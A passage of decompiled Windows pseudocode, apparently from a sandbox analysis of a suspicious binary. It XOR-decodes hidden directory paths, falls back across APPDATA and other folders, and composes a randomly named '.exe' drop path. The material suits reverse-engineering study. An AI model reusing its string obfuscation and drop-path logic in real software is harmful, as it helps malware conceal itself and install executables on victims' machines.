                                                          															if(__eflags > 0) {
                                                          																goto L346;
                                                          															} else {
                                                          																goto L276;
                                                          															}
                                                          														}
                                                          													}
                                                          												} else {
                                                          													_push(_t1436);
                                                          													_t1113 = E0040C770( &_v440,  &_v408);
                                                          													_v28 = 0x1b;
                                                          													_t1114 = E0040C990( &_v488, _t1113,  &_v384);
                                                          													_t1856 = _t1851 + 8;
                                                          													_t1556 = _t1114;
                                                          													_v28 = 0x1c;
                                                          													_t1810 =  *(_t1556 + 0x14);
                                                          													_t1718 =  *(_t1556 + 0x10);
                                                          													__eflags = _t1810 - _t1718 - 4;
                                                          													if(_t1810 - _t1718 < 4) {
                                                          														_v412 = 0;
                                                          														_t1556 = E00402980(_t1412, _t1556, _t1810, _t1817, 4, _v412, ".exe", 4);
                                                          													} else {
                                                          														 *(_t1556 + 0x10) =  &(_t1718->lpSecurityDescriptor);
                                                          														_t1135 = _t1556;
                                                          														__eflags = _t1810 - 0x10;
                                                          														if(_t1810 >= 0x10) {
                                                          															_t1135 =  *_t1556;
                                                          														}
                                                          														 *((intOrPtr*)(_t1135 + _t1718)) = 0x6578652e;
                                                          														 *((char*)(_t1135 +  &(_t1718->lpSecurityDescriptor))) = 0;
                                                          													}
                                                          													 *_t1817 = 0;
                                                          													 *(_t1817 + 0x10) = 0;
                                                          													 *(_t1817 + 0x14) = 0;
                                                          													asm("movups xmm0, [ecx]");
                                                          													asm("movups [esi], xmm0");
                                                          													asm("movq xmm0, [ecx+0x10]");
                                                          													asm("movq [esi+0x10], xmm0");
                                                          													 *(_t1556 + 0x10) = 0;
                                                          													 *(_t1556 + 0x14) = 0xf;
                                                          													 *_t1556 = 0;
                                                          													_t1719 = _v468;
                                                          													__eflags = _t1719 - 0x10;
                                                          													if(_t1719 < 0x10) {
                                                          														L249:
                                                          														_t1720 = _v420;
                                                          														_v472 = 0;
                                                          														_v468 = 0xf;
                                                          														_v488 = 0;
                                                          														__eflags = _t1720 - 0x10;
                                                          														if(_t1720 < 0x10) {
                                                          															L253:
                                                          															_t1721 = _v364;
                                                          															_v424 = 0;
                                                          															_v420 = 0xf;
                                                          															_v440 = 0;
                                                          															__eflags = _t1721 - 0x10;
                                                          															if(_t1721 < 0x10) {
                                                          																L257:
                                                          																_t1722 = _v340;
                                                          																_v368 = 0;
                                                          																_v364 = 0xf;
                                                          																_v384 = 0;
                                                          																__eflags = _t1722 - 0x10;
                                                          																if(_t1722 < 0x10) {
                                                          																	L261:
                                                          																	_v344 = 0;
                                                          																	_v340 = 0xf;
                                                          																	_v360 = 0;
                                                          																	goto L72;
                                                          																} else {
                                                          																	_t1557 = _v360;
                                                          																	_t1723 = _t1722 + 1;
                                                          																	_t1118 = _t1557;
                                                          																	__eflags = _t1723 - 0x1000;
                                                          																	if(_t1723 < 0x1000) {
                                                          																		L260:
                                                          																		_push(_t1723);
                                                          																		E0040EDFF(_t1557);
                                                          																		_t1856 = _t1856 + 8;
                                                          																		goto L261;
                                                          																	} else {
                                                          																		_t1470 =  *((intOrPtr*)(_t1557 - 4));
                                                          																		_t1680 = _t1723 + 0x23;
                                                          																		__eflags = _t1118 -  *((intOrPtr*)(_t1557 - 4)) + 0xfffffffc - 0x1f;
                                                          																		if(__eflags > 0) {
                                                          																			goto L346;
                                                          																		} else {
                                                          																			goto L260;
                                                          																		}
                                                          																	}
                                                          																}
                                                          															} else {
                                                          																_t1558 = _v384;
                                                          																_t1724 = _t1721 + 1;
                                                          																_t1122 = _t1558;
                                                          																__eflags = _t1724 - 0x1000;
                                                          																if(_t1724 < 0x1000) {
                                                          																	L256:
                                                          																	_push(_t1724);
                                                          																	E0040EDFF(_t1558);
                                                          																	_t1856 = _t1856 + 8;
                                                          																	goto L257;
                                                          																} else {
                                                          																	_t1470 =  *((intOrPtr*)(_t1558 - 4));
                                                          																	_t1680 = _t1724 + 0x23;
                                                          																	__eflags = _t1122 -  *((intOrPtr*)(_t1558 - 4)) + 0xfffffffc - 0x1f;
                                                          																	if(__eflags > 0) {
                                                          																		goto L346;
                                                          																	} else {
                                                          																		goto L256;
                                                          																	}
                                                          																}
                                                          															}
                                                          														} else {
                                                          															_t1559 = _v440;
                                                          															_t1725 =  &(_t1720->nLength);
                                                          															_t1126 = _t1559;
                                                          															__eflags = _t1725 - 0x1000;
                                                          															if(_t1725 < 0x1000) {
                                                          																L252:
                                                          																_push(_t1725);
                                                          																E0040EDFF(_t1559);
                                                          																_t1856 = _t1856 + 8;
                                                          																goto L253;
                                                          															} else {
                                                          																_t1470 =  *((intOrPtr*)(_t1559 - 4));
                                                          																_t1680 = _t1725 + 0x23;
                                                          																__eflags = _t1126 -  *((intOrPtr*)(_t1559 - 4)) + 0xfffffffc - 0x1f;
                                                          																if(__eflags > 0) {
                                                          																	goto L346;
                                                          																} else {
                                                          																	goto L252;
                                                          																}
                                                          															}
                                                          														}
                                                          													} else {
                                                          														_t1560 = _v488;
                                                          														_t1726 = _t1719 + 1;
                                                          														_t1130 = _t1560;
                                                          														__eflags = _t1726 - 0x1000;
                                                          														if(_t1726 < 0x1000) {
                                                          															L248:
                                                          															_push(_t1726);
                                                          															E0040EDFF(_t1560);
                                                          															_t1856 = _t1856 + 8;
                                                          															goto L249;
                                                          														} else {
                                                          															_t1470 =  *((intOrPtr*)(_t1560 - 4));
                                                          															_t1680 = _t1726 + 0x23;
                                                          															__eflags = _t1130 -  *((intOrPtr*)(_t1560 - 4)) + 0xfffffffc - 0x1f;
                                                          															if(__eflags > 0) {
                                                          																goto L346;
                                                          															} else {
                                                          																goto L248;
                                                          															}
                                                          														}
                                                          													}
                                                          												}
                                                          											} else {
                                                          												_t1561 = _v464;
                                                          												_t1668 =  &(_t1668->nLength);
                                                          												_t1136 = _t1561;
                                                          												__eflags = _t1668 - 0x1000;
                                                          												if(_t1668 < 0x1000) {
                                                          													L238:
                                                          													_push(_t1668);
                                                          													E0040EDFF(_t1561);
                                                          													_t1848 = _t1848 + 8;
                                                          													goto L239;
                                                          												} else {
                                                          													_t1470 =  *((intOrPtr*)(_t1561 - 4));
                                                          													_t1680 = _t1668 + 0x23;
                                                          													__eflags = _t1136 -  *((intOrPtr*)(_t1561 - 4)) + 0xfffffffc - 0x1f;
                                                          													if(__eflags > 0) {
                                                          														goto L346;
                                                          													} else {
                                                          														goto L238;
                                                          													}
                                                          												}
                                                          											}
                                                          										} else {
                                                          											_t1562 = _v440;
                                                          											_t1727 =  &(_t1667->nLength);
                                                          											_t1140 = _t1562;
                                                          											__eflags = _t1727 - 0x1000;
                                                          											if(_t1727 < 0x1000) {
                                                          												L234:
                                                          												_push(_t1727);
                                                          												E0040EDFF(_t1562);
                                                          												_t1848 = _t1848 + 8;
                                                          												goto L235;
                                                          											} else {
                                                          												_t1470 =  *((intOrPtr*)(_t1562 - 4));
                                                          												_t1680 = _t1727 + 0x23;
                                                          												__eflags = _t1140 -  *((intOrPtr*)(_t1562 - 4)) + 0xfffffffc - 0x1f;
                                                          												if(__eflags > 0) {
                                                          													goto L346;
                                                          												} else {
                                                          													goto L234;
                                                          												}
                                                          											}
                                                          										}
                                                          									} else {
                                                          										_t1563 = _v488;
                                                          										_t1728 = _t1666 + 1;
                                                          										_t1144 = _t1563;
                                                          										__eflags = _t1728 - 0x1000;
                                                          										if(_t1728 < 0x1000) {
                                                          											L230:
                                                          											_push(_t1728);
                                                          											E0040EDFF(_t1563);
                                                          											_t1848 = _t1848 + 8;
                                                          											goto L231;
                                                          										} else {
                                                          											_t1470 =  *((intOrPtr*)(_t1563 - 4));
                                                          											_t1680 = _t1728 + 0x23;
                                                          											__eflags = _t1144 -  *((intOrPtr*)(_t1563 - 4)) + 0xfffffffc - 0x1f;
                                                          											if(__eflags > 0) {
                                                          												goto L346;
                                                          											} else {
                                                          												goto L230;
                                                          											}
                                                          										}
                                                          									}
                                                          								} else {
                                                          									_t1156 =  &_v312;
                                                          									__imp__SHGetFolderPathA(0, 0x1a, 0, 0, _t1156); // executed
                                                          									__eflags = _t1156;
                                                          									if(__eflags < 0) {
                                                          										_t1729 = E00418B65(_t1412, _t1809, _t1817, __eflags, "APPDATA");
                                                          										_t1847 = _t1847 + 4;
                                                          										_t1564 = _t1729;
                                                          										_t74 = _t1564 + 1; // 0x1
                                                          										_t1810 = _t74;
                                                          										do {
                                                          											_t1158 =  *_t1564;
                                                          											_t1564 = _t1564 + 1;
                                                          											__eflags = _t1158;
                                                          										} while (_t1158 != 0);
                                                          										_t1565 = _t1564 - _t1810;
                                                          										__eflags = _t1565;
                                                          										_push(_t1565);
                                                          										_push(_t1729);
                                                          									} else {
                                                          										_t1646 =  &_v312;
                                                          										_t1804 = _t1646 + 1;
                                                          										asm("o16 nop [eax+eax]");
                                                          										goto L36;
                                                          										L36:
                                                          										_t1385 =  *_t1646;
                                                          										_t1646 = _t1646 + 1;
                                                          										__eflags = _t1385;
                                                          										if(_t1385 != 0) {
                                                          											goto L36;
                                                          										} else {
                                                          											_push(_t1646 - _t1804);
                                                          											_push( &_v312);
                                                          										}
                                                          									}
                                                          									E004026B0(_t1412,  &_v408);
                                                          									E00406760(_t1412,  &_v384, _t1810); // executed
                                                          									_v28 = 1;
                                                          									_t1161 = E00417DF6( &_v384, __eflags);
                                                          									asm("cdq");
                                                          									_t1569 =  &_v360;
                                                          									E004055C0(_t1569, _t1161 % 0xa + 5);
                                                          									_push(_t1569);
                                                          									_v28 = 2;
                                                          									_t1164 = E0040C770( &_v488,  &_v408);
                                                          									_v28 = 3;
                                                          									_t1165 = E0040C990( &_v440, _t1164,  &_v384);
                                                          									_t1856 = _t1847 + 8;
                                                          									E00402490(_t1412,  &_v408, _t1165);
                                                          									_t1734 = _v420;
                                                          									__eflags = _t1734 - 0x10;
                                                          									if(_t1734 < 0x10) {
                                                          										L45:
                                                          										_v28 = 2;
                                                          										_t1735 = _v468;
                                                          										_v424 = 0;
                                                          										_v420 = 0xf;
                                                          										_v440 = 0;
                                                          										__eflags = _t1735 - 0x10;
                                                          										if(_t1735 < 0x10) {
                                                          											L49:
                                                          											_t1887 = _t1856 - 0x18;
                                                          											_v412 = _t1887;
                                                          											E0040BB90(_t1412, _t1887, _t1735, _t1810,  &_v360);
                                                          											_t1888 = _t1887 - 0x18;
                                                          											_v28 = 4;
                                                          											_t1575 = _t1888;
                                                          											E0040BB90(_t1412, _t1575, _t1735, _t1810,  &_v408);
                                                          											_v28 = 2;
                                                          											_t1171 = E00406800(_t1412, _t1575, _t1810, _t1817); // executed
                                                          											_t1889 = _t1888 + 0x30;
                                                          											__eflags = _t1171;
                                                          											if(_t1171 == 0) {
                                                          												_v413 = 0x2e;
                                                          												_t1810 =  *( *[fs:0x2c]);
                                                          												_t1173 =  *0x450f0c; // 0x0
                                                          												__eflags = _t1173 -  *((intOrPtr*)(_t1810 + 4));
                                                          												if(_t1173 >  *((intOrPtr*)(_t1810 + 4))) {
                                                          													E0040EF48(_t1173, 0x450f0c);
                                                          													_t1889 = _t1889 + 4;
                                                          													__eflags =  *0x450f0c - 0xffffffff;
                                                          													if(__eflags == 0) {
                                                          														asm("movaps xmm0, [0x439d90]");
                                                          														asm("movups [0x450ed4], xmm0");
                                                          														 *0x450ee4 = _v413;
                                                          														E0040F25B(_t1575, __eflags, 0x42d070);
                                                          														E0040EEFE(0x450f0c);
                                                          														_t1889 = _t1889 + 8;
                                                          													}
                                                          												}
                                                          												_t1174 =  *0x450ee4; // 0x0
                                                          												__eflags = _t1174;
                                                          												if(_t1174 != 0) {
                                                          													asm("movups xmm0, [0x450ed4]");
                                                          													asm("movaps xmm1, [0x439d30]");
                                                          													asm("pxor xmm1, xmm0");
                                                          													 *0x450ee4 = _t1174 ^ 0x0000002e;
                                                          													asm("movups [0x450ed4], xmm1");
                                                          												}
                                                          												_t1576 = 0x450ed4;
                                                          												_v336 = 0;
                                                          												_v320 = 0;
                                                          												_v316 = 0xf;
                                                          												_v336 = 0;
                                                          												_t158 = _t1576 + 1; // 0x450ed5
                                                          												_t1736 = _t158;
                                                          												asm("o16 nop [eax+eax]");
                                                          												do {
                                                          													_t1175 =  *_t1576;
                                                          													_t1576 = _t1576 + 1;
                                                          													__eflags = _t1175;
                                                          												} while (_t1175 != 0);
                                                          												E004026B0(_t1412,  &_v336, 0x450ed4, _t1576 - _t1736);
                                                          												_v28 = 7;
                                                          												_t1737 = _v316;
                                                          												_t1579 = _v320;
                                                          												__eflags = _t1737 - _t1579 - 1;
                                                          												if(_t1737 - _t1579 < 1) {
                                                          													_v412 = 0;
                                                          													_t1179 = E00402980(_t1412,  &_v336, _t1810, _t1817, 1, _v412, "\\", 1);
                                                          												} else {
                                                          													_t163 = _t1579 + 1; // 0x1
                                                          													__eflags = _t1737 - 0x10;
                                                          													_v320 = _t163;
                                                          													_t1348 =  >=  ? _v336 :  &_v336;
                                                          													 *((short*)(( >=  ? _v336 :  &_v336) + _t1579)) = 0x5c;
                                                          													_t1179 =  &_v336;
                                                          												}
                                                          												_v464 = 0;
                                                          												_v448 = 0;
                                                          												_v444 = 0;
                                                          												asm("movups xmm0, [eax]");
                                                          												asm("movups [ebp-0x1b8], xmm0");
                                                          												asm("movq xmm0, [eax+0x10]");
                                                          												asm("movq [ebp-0x1a8], xmm0");
                                                          												 *(_t1179 + 0x10) = 0;
                                                          												 *(_t1179 + 0x14) = 0xf;
                                                          												 *_t1179 = 0;
                                                          												_v28 = 8;
                                                          												_t1181 = E0040C990( &_v440,  &_v464,  &_v384);
                                                          												_t1856 = _t1889 + 4;
                                                          												E00402490(_t1412,  &_v408, _t1181);
                                                          												_t1739 = _v420;
                                                          												__eflags = _t1739 - 0x10;
                                                          												if(_t1739 < 0x10) {
                                                          													L90:
                                                          													_v28 = 7;
                                                          													_t1740 = _v444;
                                                          													_v424 = 0;
                                                          													_v420 = 0xf;
                                                          													_v440 = 0;
                                                          													__eflags = _t1740 - 0x10;
                                                          													if(_t1740 < 0x10) {
                                                          														L94:
                                                          														_v28 = 2;
                                                          														_t1741 = _v316;
                                                          														_v448 = 0;
                                                          														_v444 = 0xf;
                                                          														_v464 = 0;
                                                          														__eflags = _t1741 - 0x10;
                                                          														if(_t1741 < 0x10) {
                                                          															L98:
                                                          															_t1890 = _t1856 - 0x18;
                                                          															_v316 = _t1890;
                                                          															E0040BB90(_t1412, _t1890, _t1741, _t1810,  &_v360);
                                                          															_t1891 = _t1890 - 0x18;
                                                          															_v28 = 9;
                                                          															_t1584 = _t1891;
                                                          															E0040BB90(_t1412, _t1584, _t1741, _t1810,  &_v408);
                                                          															_v28 = 2;
                                                          															_t1187 = E00406800(_t1412, _t1584, _t1810, _t1817);
                                                          															_t1892 = _t1891 + 0x30;
                                                          															__eflags = _t1187;
                                                          															if(_t1187 == 0) {
                                                          																_t1188 =  *0x450ebc; // 0x0
                                                          																_v328 = 0x7e72146d;
                                                          																_v324 = 0x5c49415c;
                                                          																_v320 = 0x4f6a434f;
                                                          																_v316 = 0x4f5a;
                                                          																_v413 = 0x2e;
                                                          																__eflags = _t1188 -  *((intOrPtr*)(_t1810 + 4));
                                                          																if(_t1188 >  *((intOrPtr*)(_t1810 + 4))) {
                                                          																	E0040EF48(_t1188, 0x450ebc);
                                                          																	_t1892 = _t1892 + 4;
                                                          																	__eflags =  *0x450ebc - 0xffffffff;
                                                          																	if(__eflags == 0) {
                                                          																		asm("movq xmm0, [ebp-0x130]");
                                                          																		 *0x451020 = _v320;
                                                          																		 *0x451024 = _v316;
                                                          																		asm("movq [0x451018], xmm0");
                                                          																		 *0x451026 = _v413;
                                                          																		E0040F25B(_t1584, __eflags, 0x42d040);
                                                          																		E0040EEFE(0x450ebc);
                                                          																		_t1892 = _t1892 + 8;
                                                          																	}
                                                          																}
                                                          																__eflags =  *0x451026;
                                                          																if( *0x451026 != 0) {
                                                          																	_t1305 = 0;
                                                          																	__eflags = 0;
                                                          																	do {
                                                          																		 *(_t1305 + 0x451018) =  *(_t1305 + 0x451018) ^ 0x0000002e;
                                                          																		_t1305 = _t1305 + 1;
                                                          																		__eflags = _t1305 - 0xf;
                                                          																	} while (_t1305 < 0xf);
                                                          																}
                                                          																_t1585 = 0x451018;
                                                          																_v464 = 0;
                                                          																_v448 = 0;
                                                          																_v444 = 0xf;
                                                          																_v464 = 0;
                                                          																_t259 = _t1585 + 1; // 0x451019
                                                          																_t1742 = _t259;
                                                          																do {
                                                          																	_t1189 =  *_t1585;
                                                          																	_t1585 = _t1585 + 1;
                                                          																	__eflags = _t1189;
                                                          																} while (_t1189 != 0);
                                                          																E004026B0(_t1412,  &_v464, 0x451018, _t1585 - _t1742);
                                                          																_v28 = 0xc;
                                                          																_t1743 = _v444;
                                                          																_t1588 = _v448;
                                                          																__eflags = _t1743 - _t1588 - 1;
                                                          																if(_t1743 - _t1588 < 1) {
                                                          																	_v412 = 0;
                                                          																	_t1193 = E00402980(_t1412,  &_v464, _t1810, _t1817, 1, _v412, "\\", 1);
                                                          																} else {
                                                          																	_t264 = _t1588 + 1; // 0x1
                                                          																	__eflags = _t1743 - 0x10;
                                                          																	_v448 = _t264;
                                                          																	_t1304 =  >=  ? _v464 :  &_v464;
                                                          																	 *((short*)(( >=  ? _v464 :  &_v464) + _t1588)) = 0x5c;
                                                          																	_t1193 =  &_v464;
                                                          																}
                                                          																_v440 = 0;
                                                          																_v424 = 0;
                                                          																_v420 = 0;
                                                          																asm("movups xmm0, [eax]");
                                                          																asm("movups [ebp-0x1a0], xmm0");
                                                          																asm("movq xmm0, [eax+0x10]");
                                                          																asm("movq [ebp-0x190], xmm0");
                                                          																 *(_t1193 + 0x10) = 0;
                                                          																 *(_t1193 + 0x14) = 0xf;
                                                          																 *_t1193 = 0;
                                                          																_v28 = 0xd;
                                                          																_t1195 = E0040C990( &_v488,  &_v440,  &_v384);
                                                          																_t1856 = _t1892 + 4;
                                                          																E00402490(_t1412,  &_v408, _t1195);
                                                          																_t1745 = _v468;
                                                          																__eflags = _t1745 - 0x10;
                                                          																if(_t1745 < 0x10) {
                                                          																	L135:
                                                          																	_v28 = 0xc;
                                                          																	_t1746 = _v420;
                                                          																	_v472 = 0;
                                                          																	_v468 = 0xf;
                                                          																	_v488 = 0;
                                                          																	__eflags = _t1746 - 0x10;
                                                          																	if(_t1746 < 0x10) {
                                                          																		L139:
                                                          																		_v28 = 2;
                                                          																		_t1747 = _v444;
                                                          																		_v424 = 0;
                                                          																		_v420 = 0xf;
                                                          																		_v440 = 0;
                                                          																		__eflags = _t1747 - 0x10;
                                                          																		if(_t1747 < 0x10) {
                                                          																			L143:
                                                          																			_t1893 = _t1856 - 0x18;
                                                          																			_v316 = _t1893;
                                                          																			E0040BB90(_t1412, _t1893, _t1747, _t1810,  &_v360);
                                                          																			_t1894 = _t1893 - 0x18;
                                                          																			_v28 = 0xe;
                                                          																			_t1593 = _t1894;
                                                          																			E0040BB90(_t1412, _t1593, _t1747, _t1810,  &_v408);
                                                          																			_v28 = 2;
                                                          																			_t1201 = E00406800(_t1412, _t1593, _t1810, _t1817);
                                                          																			_t1895 = _t1894 + 0x30;
                                                          																			__eflags = _t1201;
                                                          																			if(_t1201 == 0) {
                                                          																				_t1202 =  *0x450f20; // 0x0
                                                          																				_v320 = 0x7a72146d;
                                                          																				_v316 = 0x2e5e434b;
                                                          																				__eflags = _t1202 -  *((intOrPtr*)(_t1810 + 4));
                                                          																				if(_t1202 >  *((intOrPtr*)(_t1810 + 4))) {
                                                          																					E0040EF48(_t1202, 0x450f20);
                                                          																					_t1895 = _t1895 + 4;
                                                          																					__eflags =  *0x450f20 - 0xffffffff;
                                                          																					if(__eflags == 0) {
                                                          																						 *0x450f58 = _v320;
                                                          																						 *0x450f5c = _v316;
                                                          																						E0040F25B(_v316, __eflags, 0x42d030);
                                                          																						E0040EEFE(0x450f20);
                                                          																						_t1895 = _t1895 + 8;
                                                          																					}
                                                          																				}
                                                          																				_t1203 =  *0x450f5f; // 0x0
                                                          																				__eflags = _t1203;
                                                          																				if(_t1203 != 0) {
                                                          																					 *0x450f58 =  *0x450f58 ^ 0x0000002e;
                                                          																					 *0x450f59 =  *0x450f59 ^ 0x0000002e;
                                                          																					 *0x450f5a =  *0x450f5a ^ 0x0000002e;
                                                          																					 *0x450f5b =  *0x450f5b ^ 0x0000002e;
                                                          																					 *0x450f5c =  *0x450f5c ^ 0x0000002e;
                                                          																					 *0x450f5d =  *0x450f5d ^ 0x0000002e;
                                                          																					 *0x450f5e =  *0x450f5e ^ 0x0000002e;
                                                          																					_t1263 = _t1203 ^ 0x0000002e;
                                                          																					__eflags = _t1263;
                                                          																					 *0x450f5f = _t1263;
                                                          																				}
                                                          																				_t1594 = 0x450f58;
                                                          																				_v464 = 0;
                                                          																				_v448 = 0;
                                                          																				_v444 = 0xf;
                                                          																				_v464 = 0;
                                                          																				_t354 =  &(_t1594[1]); // 0x450f59
                                                          																				_t1748 = _t354;
                                                          																				do {
                                                          																					_t1204 =  *_t1594;
                                                          																					_t1594 =  &(_t1594[1]);
                                                          																					__eflags = _t1204;
                                                          																				} while (_t1204 != 0);
                                                          																				E004026B0(_t1412,  &_v464, 0x450f58, _t1594 - _t1748);
                                                          																				_v28 = 0x11;
                                                          																				_t1749 = _v444;
                                                          																				_t1597 = _v448;
                                                          																				__eflags = _t1749 - _t1597 - 1;
                                                          																				if(_t1749 - _t1597 < 1) {
                                                          																					_v412 = 0;
                                                          																					_t1208 = E00402980(_t1412,  &_v464, _t1810, _t1817, 1, _v412, "\\", 1);
                                                          																				} else {
                                                          																					_t359 = _t1597 + 1; // 0x1
                                                          																					__eflags = _t1749 - 0x10;
                                                          																					_v448 = _t359;
                                                          																					_t1262 =  >=  ? _v464 :  &_v464;
                                                          																					 *((short*)(( >=  ? _v464 :  &_v464) + _t1597)) = 0x5c;
                                                          																					_t1208 =  &_v464;
                                                          																				}
                                                          																				_v440 = 0;
                                                          																				_v424 = 0;
                                                          																				_v420 = 0;
                                                          																				asm("movups xmm0, [eax]");
                                                          																				asm("movups [ebp-0x1a0], xmm0");
                                                          																				asm("movq xmm0, [eax+0x10]");
                                                          																				asm("movq [ebp-0x190], xmm0");
                                                          																				 *(_t1208 + 0x10) = 0;
                                                          																				 *(_t1208 + 0x14) = 0xf;
                                                          																				 *_t1208 = 0;
                                                          																				_v28 = 0x12;
                                                          																				_t1210 = E0040C990( &_v488,  &_v440,  &_v384);
                                                          																				_t1856 = _t1895 + 4;
                                                          																				E00402490(_t1412,  &_v408, _t1210);
                                                          																				_t1751 = _v468;
                                                          																				__eflags = _t1751 - 0x10;
                                                          																				if(_t1751 < 0x10) {
                                                          																					L179:
                                                          																					_v28 = 0x11;
                                                          																					_t1752 = _v420;
                                                          																					_v472 = 0;
                                                          																					_v468 = 0xf;
                                                          																					_v488 = 0;
                                                          																					__eflags = _t1752 - 0x10;
                                                          																					if(_t1752 < 0x10) {
                                                          																						L183:
                                                          																						_v28 = 2;
                                                          																						_t1753 = _v444;
                                                          																						_v424 = 0;
                                                          																						_v420 = 0xf;
                                                          																						_v440 = 0;
                                                          																						__eflags = _t1753 - 0x10;
                                                          																						if(_t1753 < 0x10) {
                                                          																							L187:
                                                          																							_t1896 = _t1856 - 0x18;
                                                          																							_v316 = _t1896;
                                                          																							E0040BB90(_t1412, _t1896, _t1753, _t1810,  &_v360);
                                                          																							_t1897 = _t1896 - 0x18;
                                                          																							_v28 = 0x13;
                                                          																							_t1602 = _t1897;
                                                          																							E0040BB90(_t1412, _t1602, _t1753, _t1810,  &_v408);
                                                          																							_v28 = 2;
                                                          																							_t1216 = E00406800(_t1412, _t1602, _t1810, _t1817);
                                                          																							_t1856 = _t1897 + 0x30;
                                                          																							__eflags = _t1216;
                                                          																							if(_t1216 == 0) {
                                                          																								_v28 = 1;
                                                          																								_t1754 = _v340;
                                                          																								__eflags = _t1754 - 0x10;
                                                          																								if(_t1754 < 0x10) {
                                                          																									L213:
                                                          																									_v28 = 0;
                                                          																									_t1680 = _v364;
                                                          																									_v344 = 0;
                                                          																									_v340 = 0xf;
                                                          																									_v360 = 0;
                                                          																									__eflags = _t1680 - 0x10;
                                                          																									if(_t1680 < 0x10) {
                                                          																										L342:
                                                          																										E00402510(_t1817, 0x4399f7);
                                                          																										L343:
                                                          																										E00402440(_t1412,  &_v408);
                                                          																										goto L344;
                                                          																									} else {
                                                          																										_t1603 = _v384;
                                                          																										_t1680 =  &(1[_t1680]);
                                                          																										_t1217 = _t1603;
                                                          																										__eflags = _t1680 - 0x1000;
                                                          																										if(_t1680 < 0x1000) {
                                                          																											L216:
                                                          																											_push(_t1680);
                                                          																											E0040EDFF(_t1603);
                                                          																											goto L342;
                                                          																										} else {
                                                          																											_t1470 =  *((intOrPtr*)(_t1603 - 4));
                                                          																											_t1680 = _t1680 + 0x23;
                                                          																											__eflags = _t1217 -  *((intOrPtr*)(_t1603 - 4)) + 0xfffffffc - 0x1f;
                                                          																											if(__eflags > 0) {
                                                          																												goto L346;
                                                          																											} else {
                                                          																												goto L216;
                                                          																											}
                                                          																										}
                                                          																									}
                                                          																								} else {
                                                          																									_t1604 = _v360;
                                                          																									_t1755 = _t1754 + 1;
                                                          																									_t1221 = _t1604;
                                                          																									__eflags = _t1755 - 0x1000;
                                                          																									if(_t1755 < 0x1000) {
                                                          																										L212:
                                                          																										_push(_t1755);
                                                          																										E0040EDFF(_t1604);
                                                          																										_t1856 = _t1856 + 8;
                                                          																										goto L213;
                                                          																									} else {
                                                          																										_t1470 =  *((intOrPtr*)(_t1604 - 4));
                                                          																										_t1680 = _t1755 + 0x23;
                                                          																										__eflags = _t1221 -  *((intOrPtr*)(_t1604 - 4)) + 0xfffffffc - 0x1f;
                                                          																										if(__eflags > 0) {
                                                          																											goto L346;
                                                          																										} else {
                                                          																											goto L212;
                                                          																										}
                                                          																									}
                                                          																								}
                                                          																							} else {
                                                          																								_push(_t1602);
                                                          																								_t1225 = E0040C770( &_v440,  &_v408);
                                                          																								_v28 = 0x14;
                                                          																								_t1226 = E0040C990( &_v488, _t1225,  &_v360);
                                                          																								_t1856 = _t1856 + 8;
                                                          																								_t1608 = _t1226;
                                                          																								_v28 = 0x15;
                                                          																								_t1810 =  *(_t1608 + 0x14);
                                                          																								_t1758 =  *(_t1608 + 0x10);
                                                          																								__eflags = _t1810 - _t1758 - 4;
                                                          																								if(_t1810 - _t1758 < 4) {
                                                          																									_v412 = 0;
                                                          																									_t1608 = E00402980(_t1412, _t1608, _t1810, _t1817, 4, _v412, ".exe", 4);
                                                          																								} else {
                                                          																									 *(_t1608 + 0x10) =  &(_t1758->lpSecurityDescriptor);
                                                          																									_t1247 = _t1608;
                                                          																									__eflags = _t1810 - 0x10;
                                                          																									if(_t1810 >= 0x10) {
                                                          																										_t1247 =  *_t1608;
                                                          																									}
                                                          																									 *((intOrPtr*)(_t1247 + _t1758)) = 0x6578652e;
                                                          																									 *((char*)(_t1247 +  &(_t1758->lpSecurityDescriptor))) = 0;
                                                          																								}
                                                          																								 *_t1817 = 0;
                                                          																								 *(_t1817 + 0x10) = 0;
                                                          																								 *(_t1817 + 0x14) = 0;
                                                          																								asm("movups xmm0, [ecx]");
                                                          																								asm("movups [esi], xmm0");
                                                          																								asm("movq xmm0, [ecx+0x10]");
                                                          																								asm("movq [esi+0x10], xmm0");
                                                          																								 *(_t1608 + 0x10) = 0;
                                                          																								 *(_t1608 + 0x14) = 0xf;
                                                          																								 *_t1608 = 0;
                                                          																								_t1759 = _v468;
                                                          																								__eflags = _t1759 - 0x10;
                                                          																								if(_t1759 < 0x10) {
                                                          																									L197:
                                                          																									_t1760 = _v420;
                                                          																									_v472 = 0;
                                                          																									_v468 = 0xf;
                                                          																									_v488 = 0;
                                                          																									__eflags = _t1760 - 0x10;
                                                          																									if(_t1760 < 0x10) {
                                                          																										L201:
                                                          																										_t1761 = _v340;
                                                          																										_v424 = 0;
                                                          																										_v420 = 0xf;
                                                          																										_v440 = 0;
                                                          																										__eflags = _t1761 - 0x10;
                                                          																										if(_t1761 < 0x10) {
                                                          																											L205:
                                                          																											_t1762 = _v364;
                                                          																											_v344 = 0;
                                                          																											_v340 = 0xf;
                                                          																											_v360 = 0;
                                                          																											__eflags = _t1762 - 0x10;
                                                          																											if(_t1762 < 0x10) {
                                                          																												goto L71;
                                                          																											} else {
                                                          																												_t1609 = _v384;
                                                          																												_t1763 = _t1762 + 1;
                                                          																												_t1230 = _t1609;
                                                          																												__eflags = _t1763 - 0x1000;
                                                          																												if(_t1763 < 0x1000) {
                                                          																													goto L70;
                                                          																												} else {
                                                          																													_t1470 =  *((intOrPtr*)(_t1609 - 4));
                                                          																													_t1680 = _t1763 + 0x23;
                                                          																													__eflags = _t1230 -  *((intOrPtr*)(_t1609 - 4)) + 0xfffffffc - 0x1f;
                                                          																													if(__eflags > 0) {
                                                          																														goto L346;
                                                          																													} else {
                                                          																														goto L70;
                                                          																													}
                                                          																												}
                                                          																											}
                                                          																										} else {
                                                          																											_t1610 = _v360;
                                                          																											_t1764 = _t1761 + 1;
                                                          																											_t1234 = _t1610;
                                                          																											__eflags = _t1764 - 0x1000;
                                                          																											if(_t1764 < 0x1000) {
                                                          																												L204:
                                                          																												_push(_t1764);
                                                          																												E0040EDFF(_t1610);
                                                          																												_t1856 = _t1856 + 8;
                                                          																												goto L205;
                                                          																											} else {
                                                          																												_t1470 =  *((intOrPtr*)(_t1610 - 4));
                                                          																												_t1680 = _t1764 + 0x23;
                                                          																												__eflags = _t1234 -  *((intOrPtr*)(_t1610 - 4)) + 0xfffffffc - 0x1f;
                                                          																												if(__eflags > 0) {
                                                          																													goto L346;
                                                          																												} else {
                                                          																													goto L204;
                                                          																												}
                                                          																											}
                                                          																										}
                                                          																									} else {
                                                          																										_t1611 = _v440;
